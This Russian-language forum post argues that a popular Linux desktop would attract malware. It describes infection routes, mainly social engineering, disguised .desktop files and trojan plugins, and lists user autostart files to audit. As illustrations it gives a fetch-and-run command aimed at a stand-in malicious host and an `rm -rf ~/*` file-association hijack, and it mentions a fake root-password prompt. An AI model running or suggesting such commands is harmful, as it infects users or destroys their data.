Проскакивала тут парочка новостей про антивирусы для линукса. И судя по комментам, я делаю вывод, что все очень-очень убеждены в том, что линукс неподвержен атакам настолько, что антивирус просто бессмысленен в линуксе.
Вообще, в интернете очень распространено мнение, что линукс такой защищённый, лишь в силу своей непопулярности. Я провёл некоторые раскопки в гугле, и напоролся на статейку, в которой это мнение опровергалось www.theregister.co.uk/2004/10/22/security_report_windows_vs_linux/ . Вообще, статейка 2004 года, но я не думаю, что с тех пор всё резко изменилось. Но эта статья, между прочим, не доказывает того, что линукс имеет 100% защиту. Она лишь говорит о том, что он защищённее пропиетарного софта.
В дальнейшем, я буду исходить из гипотезы, что когда-нибудь линукс на десктопе сравняется по популярности с windows. И более того, я буду предполагать, что это случилось прямо сейчас. Это предположение даёт нам не только количество заинтересованных во взломе людей, но так же и огромное количество абсолютно ничего не понимающих (и не желающих понимать) пользователей.
Итак, глянем на windows, какие цели преследует malware в windows. Одна из наиболее распространённых — это включение PC в сеть зомбированных компьютеров, для выполнения DDoS-атак или для рассылки спама. Как можно заметить обе эти задачи не предполагают наличия каких-то специальных прав на системе, вполне будет достаточно прав пользователя. Но надо решить две проблемы:
1. Выполнение произвольного кода на удалённой системе.
2. Что-то типа autorun’а. В идеале — это запуск при старте системы. Хотя можно ограничится запуском при входе в систему пользователя, или запуском в случае какого-то другого «события». Скажем при запуске браузера, или при проверке почты.
Итак. Разберёмся с первым пунктом. Как выполнить произвольный код на удалённом linux-десктопе.
Из наиболее часто упоминаемого способа в гугле — это рекомендация выдать в ответ на вопрос «как в linux настроить что-то там» код типа `wget malware.net/code.py; python ./code.py’. Конечно же, код можно усложнить, можно предложить скачать скрипт, который якобы делает то, что надо пользователю. Развивая идею, можно создать сайт с описанием того, как настроить принтер каких-нибудь там моделей, и приложить к описанию скрипт, который надо выполнить для тонкой настройки принтера. Потом сайт надо как-то раскрутить в поисковиках. Но, как бы там ни было, мне кажется, что какой-то серьёзной эпидемии таким образом устроить не удастся. Хотя, с другой стороны, сбрасывать этот способ со счетов нельзя.
Я читал про способ с .desktop файликами. Способ описанный в 2006-м году, когда в аттаче к почте присобачивается файлик .desktop, в надежде на то, что пользователь перед открытием сохранит файл на диск. Файлик при просмотре файловым броузером GNOME/KDE выглядит прям как документ ooffice, но при двойном клике по нём, делает что-то непредсказумое. Способ известный, возможно даже пофиксенный уже. Хотя из обсуждения, я понял что для полноценного фикса разработчикам надо использовать extended file attributes, но gnome никак не может на это решиться. Как там дела обстоят с KDE я вообще не знаю. Но если вернуться к тому, насколько это уязвимость снижает безопасность, мы можем сделать вывод, что не очень-то и серьёзно. В основном потому, что в случае угрозы эпидемии, можно выкрутиться какими-то временными хаками — типа запретить файловому браузеру рассматривать .desktop как специальный файл в определённых директориях типа ~/downloads. OpenSource разработка софта, вполне позволяет достаточно быстро реагировать, в том числе и такими хаками.
Трояны. Если пользователю предложить скачать плугин для ff, который позволяет накручивать рейтинг вконтакте, как вы думаете, сколько пользователей скачают его и установят несмотря на предупреждение ff? А если предложить ему приватную коллекцию скринсейверов? Или супербыструю качалку torrent’ов, объясняя её отсутствие в репозитариях тем, что она использует «нехорошие» методы повышения скорости, тут же заверив в том, что эти нехорошие способы не приводят к банам в torrent-сетях. Сколько пользователей поведутся на это? Я имею в виду пользователей linux’а, который вдруг зохавал 50% рынка десктопов.
Но как бы там не было, всегда останется уязвимость браузера. Пока есть флешплеер, и пока без него нельзя чувствовать себя полноценным пользователем интернета, есть ещё и флешплеер. Баги ff/opera/flashplayer они общие между windows и linux. И если их используют на windows, с тем же успехом их смогут использовать и в linux. Ну ладно, быть может с меньшим успехом, в силу бОльшей рандомизации адресного пространства процесса. Но тем не менее, рандомизация — это борьба со следствием, а не с причиной, и поэтому она не может быть стопроцентно успешной.
В общем, я рассказал о том, откуда может взяться malware в линукс. Уж не знаю насколько полно, я думаю, что не очень. Но поскольку мне неохота исходить из взятого с потолка предположения, что теперь (когда 50% пользователей сидят в linux’е) раз в год будут придумывать новый оригинальный метод всадить пользователю трояна, я предлагаю ограничиться описанными способами. Тем более, что на мой взгляд их достаточно, чтобы согласиться с тем, что выполнение произвольного кода на линукс-десктопе — это не страшилки разработчиков антивирусов.
Теперь о том, что же делать, если malware уже здесь.
Допустим, что через какую-то дыру в нашу RAM всадили произвольный код, и, что хуже, выполнили. И пускай мы даже знаем об этом факте. Как мы после этого можем быть уверены, что наш компьютер не является членом ботнета рассылающего спам? Или как мы можем его вырвать из этого ботнета?
Единственное, что мне приходит в голову — это ручная проверка ~/.bashrc, ~/.xinitrc, ~/.xsessionrc, ~/.kde/autostart, ~/.local/чё-то-там (я уже не помню, где там автостарт GNOME). Возможно также стоит проверить ~/.emacs и ряд других. Скажем sylpheed содержит среди своих опций команду запуска pgp и спам-фильтра. Дальше, несомненно стоит проверить все *.desktop файлики в ~/$HOME, на предмет того, что они запускают именно те программы, которые мы от них ожидаем. Неплохо было бы ещё проверить ассоциации файлов в GNOME/KDE, чтобы быть уверенным в том, что двойной клик по .odt файлу запустит именно ooffice, но никак не `rm -rf ~/*’. Ещё надо проверить пользовательские изменения в меню «пуск» (неважно как на самом деле оно называется, я не помню просто): потому как запуск synaptec вполне можно модифицировать под запуск скрипта, который нарисует окошко gtksu, и тем самым узнает рутовский пароль.
Естественно, что такую проверку можно как-то автоматизировать. Даже без поиска сигнатур и выполнения ~/.bashrc под эмулятором. Можно, скажем, полагаться на даты последнего изменения файлов. Хранить где-то эти даты, и в случае если файлик оказался изменён со времени последней проверки, запрашивать пользователя о том, что изменение было легитимным. Хотя вопрос: сможет ли тётя Маша ответить на этот вопрос правильно? Но если мы начинаем ориентироваться на тётю Машу, то всё становится сложнее. Причём резко сложнее. Плевать на .emacs: тётя Маша не пользуется emacs’ом. Также фтопку ~/.bashrc и ~/.xinitrc — тётя Маша пользуется gdm/kdm, и при логине эти файлы не отрабатывают (так ли это кстати? И как тогда предлагается выставлять per-user значение переменных типа G_FILENAME_ENCODING?), Также тётя Маша не запускает X’овые терминалы (хотя это уже спорный вопрос). Проблему sylpheed мы тоже можем перебороть: надо просто выписать список допустимых команд для запуска антиспама и pgp, и сверять то что есть в конфиге, с этим списком. Остальные проблемы, тоже наверное решаемы. Самое сложное — это составить список файлов для проверки. Но если на составление списка навалиться сообществом, то это вполне возможно. Но что в результате создаст сообщество? Ответ очевиден: антивирус. Да, этот антивирус будет бороться не с вирусами, а с malware. Но если глянуть на современный антивирус для windows, то для него борьба с вирусами — это очень-очень узкая часть работы. Классические файловые вирусы катастрофически теряют популярность: изменение исполняемого файла — это очень серьёзное палево, и далеко не каждая малварь на это решится.
А теперь я хочу спросить. Поколебало ли всё вышенаписанное уверенность в том, что антивирус для линукса бесполезен, или не поколебало. Или давайте, избавляясь от буквоедов, я переформулирую вопрос: то же самое, но относительно анти-malware. Особенно мне интересны ответы второго типа, причём ответы с аргументацией.
Последние комментарии
- OlegL, 17 декабря в 15:00 → Перекличка 21
- REDkiy, 8 июня 2023 года в 9:09 → Как «замокать» файл для юниттеста в Python? 2
- fhunter, 29 ноября 2022 года в 2:09 → Проблема с NO_PUBKEY: как получить GPG-ключ и добавить его в базу apt? 6
- Иванн, 9 апреля 2022 года в 8:31 → Ассоциация РАСПО провела первое учредительное собрание 1
- Kiri11.ADV1, 7 марта 2021 года в 12:01 → Логи catalina.out в TomCat 9 в формате JSON 1
Да, кстати, если кто знаком с исследованиями на тему безопасности linux-десктопа, я буду рад видеть ссылки. Мои поиски привели к тому, что я придумал классификацию статей:
1. «Линукс безопасен и ниибёт.» Подробность таких исследований различна, но в общем аргументы повторяются (исполняемость файла определяется атрибутом файловой системы, а не расширением; линукс собирается под множество платформ; линукс предлагает очень широкий спектр ПО; всё ПО в репозитариях; вроде ничего не забыл)
2. Линукс так же небезопасен как и windows, просто ему не хватает популярности для того, чтобы это показать.
3. Есть так же ряд параноидальных статей, предлагающие монтировать /var /home /tmp с опцией -noexec. Что, кстати, на мой взгляд нисколько не панацея, пока в *nix существуют скрипты.
Статьи этих трёх типов меня уже не интересуют. Но все остальные я рад буду почитать.